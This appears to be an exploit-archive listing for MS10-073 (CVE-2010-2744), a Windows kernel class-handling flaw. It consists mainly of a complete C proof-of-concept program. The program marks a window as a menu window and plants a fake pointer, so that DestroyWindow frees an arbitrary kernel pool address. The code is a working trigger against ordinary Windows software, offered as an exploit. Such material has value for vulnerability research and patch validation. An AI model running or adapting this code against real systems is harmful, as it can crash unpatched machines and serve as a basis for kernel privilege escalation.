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MS10-073 Windows Class Handling

MS10-073 Windows Class Handling
Posted Jan 2, 2011
Authored by Tarjei Mandt

Demonstration code that exploits the Windows class handling vulnerability as detailed in MS10-073.

tags | exploit
systems | windows
advisories | CVE-2010-2744
SHA-256 | cfce7782f79c66201970f5c2e33ebf9cb9e5f98c40ed70d86c6ee80113df64a7

MS10-073 Windows Class Handling

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#include <windows.h>

/*
Source:
http://mista.nu/blog/2010/12/01/windows-class-handling-gone-wrong/
*/

int main(int argc, char **argv)
{
WNDCLASSA Class = {0};
CREATESTRUCTA Cs = {0};
FARPROC MenuWindowProcA;
HMODULE hModule;
HWND hWindow;

Class.lpfnWndProc = DefWindowProc;
Class.lpszClassName = "Class";
Class.cbWndExtra = sizeof(PVOID);

RegisterClassA(&Class);

hModule = LoadLibraryA("USER32.DLL");

MenuWindowProcA = GetProcAddress(hModule,"MenuWindowProcA");

hWindow = CreateWindowA("Class","Window",0,0,0,32,32,NULL,NULL,NULL,NULL);

// set the pointer value of the (soon to be) popup menu structure
SetWindowLongPtr(hWindow,0,(LONG_PTR)0x80808080);

// set WND->fnid = FNID_MENU
MenuWindowProcA(hWindow,0,WM_NCCREATE,(WPARAM)0,(LPARAM)&Cs);

// trigger -> ExPoolFree(0x80808080)
DestroyWindow(hWindow);

return 0;
}

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